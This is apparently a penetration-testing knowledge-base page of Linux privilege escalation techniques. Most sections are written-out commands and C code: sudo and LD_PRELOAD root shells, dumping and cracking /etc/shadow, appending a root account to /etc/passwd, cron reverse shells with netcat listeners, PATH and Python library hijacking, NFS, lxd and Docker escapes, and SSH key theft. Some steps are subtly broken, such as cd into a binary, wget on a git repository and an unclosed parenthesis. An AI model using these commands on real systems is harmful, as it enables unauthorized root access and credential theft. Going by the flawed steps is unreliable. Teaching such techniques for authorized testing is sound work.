> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/penetration-testing/process-stages/post-exploitation/privilege-escalation/linux-privilege-escalation.md).

# Linux Privilege Escalation

Here are some techniques for achieving privilege escalation on *Linux* systems:

## <mark style="color:orange;">Abusing Sudo execution permissions</mark>

* Verify which commands can be run with sudo

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sudo -l

#Example results
User user may run the following commands on the host:
    (ALL) NOPASSWD: /usr/bin/find
```

{% endcode %}

{% hint style="info" %}
The `find` command is used as an example, can be any other command
{% endhint %}

***

* Check *Sudo* abuse for the binary on [*GTFOBins*](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/tools-and-utilities.md#gtfobins) and use it on the target machine to get privileges

{% code overflow="wrap" lineNumbers="true" %}

```bash
sudo find . -exec /bin/sh \; -quit
#This will return a root shell
```

{% endcode %}

## <mark style="color:orange;">Abusing LD\_PRELOAD (Library Hijacking)</mark>

* Verify the *LD\_PRELOAD* option in *env\_keep*

{% code overflow="wrap" lineNumbers="true" %}

```bash
sudo -l

#Example results
Matching Defaults entries for user on ip-0-0-0-0:
    env_reset, env_keep+=LD_PRELOAD
```

{% endcode %}

* Write a simple script in C

{% code title="shell.c " overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

{% endcode %}

***

* Then compile it into a shared library

{% code overflow="wrap" lineNumbers="true" %}

```bash
gcc shell.c -fPIC -shared -o shell.so -nostartfiles
```

{% endcode %}

{% hint style="info" %}
The extension *.so* represents a shared object
{% endhint %}

***

* Run a sudo command specifying the *LD\_PRELOAD* option with the script

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>sudo LD_PRELOAD=/home/user/ldpreload/shell.so $command
</strong><strong>#This will prompt a root shell
</strong></code></pre>

{% hint style="info" %}
*$command* is any command with sudo permissions found using `sudo -l`
{% endhint %}

## <mark style="color:orange;">Abusing SUID/SGID permissions on reading binaries</mark>

* Verify executables with special permissions

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>find / -type f -perm -04000 -ls 2>/dev/null | grep bin
</strong>#Example results
<strong>1111  1  -rwsr-xr-x  1  root  root  1111  Feb  10  2030  /usr/bin/base64
</strong></code></pre>

{% hint style="info" %}
`base64` is used as an example, can be any other executable with data visualization properties, such as `nano`,`cat`, `vim`, `nvim`, etc...
{% endhint %}

***

* Check binary SUID abuse on [*GTFOBins*](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/tools-and-utilities.md#gtfobins)

{% code overflow="wrap" lineNumbers="true" %}

```bash
LFILE=file_to_read
base64 "$LFILE" | base64 --decode
```

{% endcode %}

***

* Abuse privileges to read important files and copy their content locally

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>base64 /etc/shadow | base64 --decode #Display content of shadow    
</strong>base64 /etc/passwd | base64 --decode #Display content of passwd
touch shadow.txt #Create on the host machine and copy the content of shadow
touch passwd.txt #Create on the host machine and copy the content of passwd
</code></pre>

***

* Use *John* to make a crackable file and crack passwords

{% code overflow="wrap" lineNumbers="true" %}

```sh
unshadow passwd.txt shadow.txt > crack.txt
john -w=/usr/share/wordlists/rockyou.txt crack.txt
#If possible to crack, this will display the passwords of users
```

{% endcode %}

## <mark style="color:orange;">Abusing SUID/SGID permissions on writing binaries</mark>

* Verify executables with special permissions

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>find / -type f -perm -04000 -ls 2>/dev/null | grep bin
</strong>#Example results
<strong>1111  1  -rwsr-xr-x  1  root  root  1111  Feb  10  2030  /usr/bin/nano
</strong></code></pre>

{% hint style="info" %}
`nano` is used as an example, can be any other executable with the same reading properties, such as `vim`, `nvim`, etc...
{% endhint %}

***

* Abuse privileges to create users with privileges

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>openssl passwd -1 -salt AAA $password    #Create user hash
</strong><strong>nano /etc/passwd
</strong><strong>$username:$hash:0:0:root:/root:/bin/bash #Add this at the end of /etc/passwd
</strong>su $username                             #Switch to the new user
</code></pre>

{% hint style="info" %}
*$username* is an arbitrary name and the */root:/bin/bash* specify we are requesting a root shell
{% endhint %}

## <mark style="color:orange;">Abusing capabilities on binaries</mark>

* Verify executables with set capabilities

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>getcap -r / 2>/dev/null
</strong>#Example results
/home/karen/vim = cap_setuid+ep
</code></pre>

{% hint style="info" %}
`vim` is used as an example, but could be any other executable
{% endhint %}

***

* Check binary capabilities abuse on [*GTFOBins*](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/tools-and-utilities.md#gtfobins)

{% code overflow="wrap" lineNumbers="true" %}

```bash
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'  #For Python3
```

{% endcode %}

***

* Go to the binary location and execute the payload

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>cd /home/karen/vim
</strong>./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#This will give you a root shell
</code></pre>

## <mark style="color:orange;">Abusing existing cron jobs</mark>

* Verify the executables set as cron jobs

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>cat /etc/crontab
</strong>#Example results
* * * * * root /home/user/file.sh
</code></pre>

{% hint style="info" %}
*file.sh* is an arbitrary name used as an example, but could be another bash file or executable
{% endhint %}

***

* Go to the file location and change the content to get a reverse shell

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>cd /home/user
</strong>nano file.sh    # The content will be replaced with a reverse shell script
</code></pre>

{% hint style="info" %}
To see some example scripts for a Reverse Shell, you can go[ here](/hacking-knowledge/penetration-testing/process-stages/exploitation/scripting/reverse-shell.md)
{% endhint %}

***

* Create a listening port with netcat to receive the shell

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>nc -nlvp $port
</strong>#You will receive a root shell
</code></pre>

{% hint style="info" %}
*$port* is the port specified in the reverse shell script
{% endhint %}

## <mark style="color:orange;">Abusing deleted cron jobs</mark>

* Verify executables set as cron jobs

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>cat /etc/crontab
</strong>#Example results
PATH:/home/user:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
...
* * * * * root file.sh
</code></pre>

{% hint style="info" %}

* *file.sh* is an arbitrary name used as an example. It can be another bash file or executable
* We have to keep in mind the path of the */etc/crontab* file
  {% endhint %}

***

* Verify if the executable was deleted and create one with the same name

{% code overflow="wrap" lineNumbers="true" %}

```bash
locate file.sh    #This will show nothing, which means that it was deleted
cd /home/user
nano file.sh    # The content will be a reverse shell script
```

{% endcode %}

{% hint style="info" %}
Note that the folder we navigate to is the one that was listed in */etc/crontab*
{% endhint %}

***

* Create a listening port with netcat to receive the shell

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>nc -nlvp $port
</strong>#You will receive a root shell
</code></pre>

{% hint style="info" %}
*$port* is the port specified in the reverse shell script
{% endhint %}

## <mark style="color:orange;">Abusing the PATH environment variable (Path Hijacking)</mark>

* Search for any writable folder and compare it to *PATH*

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
</strong>#Example results
<strong>etc/udev  home/user  run/dbus  snap/core  sys/fs  tmp  usr/lib  var/crash
</strong>
echo $PATH
#Example results
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
</code></pre>

{% hint style="info" %}

* We note that there is a home folder where we can write
* In case we haven't found anything, we have to write to */tmp*
  {% endhint %}

***

* Add the folder to *PATH* and go to this location

{% code overflow="wrap" lineNumbers="true" %}

```bash
export PATH=/home/user:$PATH
echo $PATH   #To check if it was added
cd /home/user
```

{% endcode %}

***

* Write a simple script in *C* to search for an executable

{% code title="path.c " overflow="wrap" lineNumbers="true" %}

```c
#include <unistd.h>

void main() {
    setgid(0);
    setuid(0);
    system("root");
}
```

{% endcode %}

{% hint style="info" %}
The system will search for an executable named *root,* which is an arbitrary name
{% endhint %}

***

* Compile the script and give it SUID permissions

{% code overflow="wrap" lineNumbers="true" %}

```bash
gcc path.c -o path -w -static
chmod u+s path
ls -l     #To check if it has permission for the user
```

{% endcode %}

***

* Create a file to ask for a shell and give it permissions

{% code overflow="wrap" lineNumbers="true" %}

```bash
echo "/bin/bash" > root #Asking for a shell
chmod 777 root
ls -l    #To check it has all permissions
```

{% endcode %}

{% hint style="info" %}
Note that it is the same executable we called previously on the *C* script
{% endhint %}

***

* Run the path script to get privileges

{% code overflow="wrap" lineNumbers="true" %}

```bash
./path
#This will return a root shell
```

{% endcode %}

***

* In other cases, when an application with SUID permissions is calling a binary and isn't specifying its absolute path, we can just create an arbitrary file with the same name and add it to the PATH

{% code overflow="wrap" lineNumbers="true" %}

```bash
echo "/bin/bash" > $binaryName #Arbitraryly to obtain a shell
chmod +x $binaryName
export PATH=/home/user:$PATH #Specifying where our file was created
# Then run the application with the SUID permissions
```

{% endcode %}

## <mark style="color:orange;">Abusing the NFS misconfiguration</mark>

* Check the NFS configuration and search for the *no\_root\_squash* value

{% code overflow="wrap" lineNumbers="true" %}

```bash
cat /etc/exports
#Example results
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)
```

{% endcode %}

***

* On the host machine, check for mountable shares

{% code overflow="wrap" lineNumbers="true" %}

```bash
showmount -e $targetIP
#Example results
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *
```

{% endcode %}

***

* On the host machine, create a shared folder with the target

{% code overflow="wrap" lineNumbers="true" %}

```bash
mkdir /tmp/Attack
sudo mount -o rw $targetIP:/home/ubuntu/sharedfolder /tmp/Attack
```

{% endcode %}

***

* Write a simple script in *C* to ask for a shell

{% code title="nfs.c " overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
    return 0;
}
```

{% endcode %}

***

* Compile the script and give it SUID Permissions

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>cd /tmp/Attack
</strong><strong>nano nfs.c    #Create the script as above
</strong>sudo gcc nfs.c -o nfs -w -static
<strong>sudo chmod u+s nfs
</strong>ls -l     #To check if it has permissions for the user
</code></pre>

***

* On the target machine, run the script to get privileges

{% code overflow="wrap" lineNumbers="true" %}

```bash
./nfs
#This will return a root shell
```

{% endcode %}

## <mark style="color:orange;">Abusing SSH keys</mark>

* Check if we have read permissions on the SSH private keys of a user

{% code overflow="wrap" lineNumbers="true" %}

```bash
cat /home/$user/.ssh/$keyfile    #For a user
cat /root/.ssh/$keyfile          #For root user
```

{% endcode %}

{% hint style="info" %}
Standard key files are called *id\_rsa*
{% endhint %}

***

* Copy the keys to a file, assign permissions to the file, and use it to log in using the key

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>nano $filename # Copy the keys here
</strong><strong>chmod 600 $filename
</strong>ssh $username@$IP -i $filename
</code></pre>

{% hint style="info" %}
Use `chmod 600 id_rsa` to assign restrictive permissions, and SSH does not block this method
{% endhint %}

***

* When having write permissions on the */root/.ssh/* directory, we can generate an SSH key with the current user and pass it to the system

{% code overflow="wrap" lineNumbers="true" %}

```bash
ssh-keygen -f $keyfile
```

{% endcode %}

{% hint style="info" %}
This will generate the file with a private key for the user and a `.pub` file with a public key
{% endhint %}

***

* Pass the public key to the authorized keys file of the *root* user

{% code overflow="wrap" lineNumbers="true" %}

```bash
cat $keyfilename.pub >> /root/.ssh/authorized_keys
```

{% endcode %}

***

* Use this to log in as *root* using the key

{% code overflow="wrap" lineNumbers="true" %}

```bash
ssh root@$IP -i $keyfile 
```

{% endcode %}

## <mark style="color:orange;">Abusing lxd</mark>

* Verify *lxd* is installed on the system

{% code overflow="wrap" lineNumbers="true" %}

```bash
lxd --version
```

{% endcode %}

***

* Check if the *lxd* group exists

{% code overflow="wrap" lineNumbers="true" %}

```bash
groups
```

{% endcode %}

***

* Add the current user to the *lxd* group (in case it isn't there yet)

{% code overflow="wrap" lineNumbers="true" %}

```bash
usermod --append --groups lxd $user
```

{% endcode %}

***

* On our machine, install the required *lxd* components

{% code overflow="wrap" lineNumbers="true" %}

```bash
sudo apt install lxd
sudo apt install zfsutils-linux
```

{% endcode %}

***

* Activate the *lxd* service and start it

{% code overflow="wrap" lineNumbers="true" %}

```bash
sudo systemctl start lxd.service
sudo lxd init
```

{% endcode %}

***

* Download an image or build it if necessary

{% code overflow="wrap" lineNumbers="true" %}

```bash
wget https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
```

{% endcode %}

{% hint style="info" %}
We use an image for *Alpine*, but any other lightweight distro can be built and used
{% endhint %}

***

* Mount a server to import and download the image to the target host

{% code overflow="wrap" lineNumbers="true" %}

```bash
# On our machine
python3 -m http.server $port

#On the target machine
wget http://$IP:$port/$filename.tar.gz #The one that comes with the repository
```

{% endcode %}

***

* On the target, import the image and use it to create a container specifying high privileges and mounting the complete filesystem

{% code overflow="wrap" lineNumbers="true" %}

```bash
lxc image import $imageroute --alias $imagename
lxc init $imagename $containername -c security.privileged=true
lxc config device add $containername host-root disk source=/ path=/mnt recursive=true
```

{% endcode %}

***

* Start the container, ask for a shell from it, and access the mount point of the filesystem

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash">lxc start $containername
<strong>lxc exec pwned /bin/sh
</strong>cd /mount
</code></pre>

{% hint style="info" %}
The shell will be generated as the *root* user, having complete permissions on the filesystem
{% endhint %}

## <mark style="color:orange;">Abusing the Python eval function</mark>

The *eval* function in *Python* is well-known for being vulnerable, as it can act in a global scope. If there isn't proper sanitization of the input, this can be leveraged to execute arbitrary system commands.

* We found code that is run as the *root* user and uses the eval function improperly

{% code overflow="wrap" lineNumbers="true" %}

```bash
__import__('os').system('/bin/bash') #Insert in the part where eval will act
```

{% endcode %}

***

* If it can't be inserted directly, we can add a validation that returns true, and then the payload

{% code overflow="wrap" lineNumbers="true" %}

```python
1+1 == 2 and __import__('os').system('/bin/bash')
```

{% endcode %}

## <mark style="color:orange;">Abusing Docker configurations</mark>

This could be used to escape a Docker container and gain access to the host system or to directly escalate privileges

* (Optional)  Try to determine if we are in a container environment

{% code overflow="wrap" lineNumbers="true" %}

```bash
cat /proc/1/cgroup # Check if the output contains docker
grep -iE 'docker|lxc|kubepods' /proc/1/cgroup #Check also other type of containers
ls -la /.dockerenv #Check if there is a configuration file at the root folder
cat /etc/hostname #Check if we see a hostname with hash values
ps -p 1 -o comm= #Check if the PID 1 process isn't the system init
```

{% endcode %}

***

* If the container was started with `--privileged` we could mount the host filesystem

{% code overflow="wrap" lineNumbers="true" %}

```bash
mkdir /tmp/host
mount -t proc none /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host /bin/bash
```

{% endcode %}

***

* We can also abuse the *Docker* socket if it's exposed

{% code overflow="wrap" lineNumbers="true" %}

```bash
docker -H unix:///var/run/docker.sock images #If this works is a sign
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host
```

{% endcode %}

***

* We can also abuse capabilities to mount the file system

{% code overflow="wrap" lineNumbers="true" %}

```bash
capsh --print #Check if CAP_SYS_ADMIN

mount -t tmpfs none /mnt
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
```

{% endcode %}

## <mark style="color:orange;">Abusing Python Libraries (Python Library Hijacking)</mark>

A dependency-level attack that allows the creation of a malicious Python file that will be executed instead of a legitimate library intended to be imported.&#x20;

It occurs because Python’s module import mechanism takes whichever module it resolves first in this priority search order:

1. Directory of the executing script
2. Standard library paths
3. Installed site-packages
4. Entries added via environment variables

If an attacker can set a malicious file to be read before the actual location of an imported module, Python will import that file and not the real library.

* For example, suppose we have a Python script that runs as the *root* user and imports the *base64* module to call the *b64encode* function from this module

{% code title="vulnerable.py" overflow="wrap" lineNumbers="true" %}

```bash
import base64

data = "test"
data64 = base64.b64encode(data)
print(data64)
```

{% endcode %}

We also know that the original location of this library is on `/usr/lib/python3.7/base64.py`

***

* We can create a file with the same name as the module, in the same folder where the script is located. Then

{% code title="base64.py" overflow="wrap" lineNumbers="true" %}

```bash
import os

print(os.system("whoami")
```

{% endcode %}

After this, we can run the script, which will import our malicious module and execute the desired payload as a privileged user
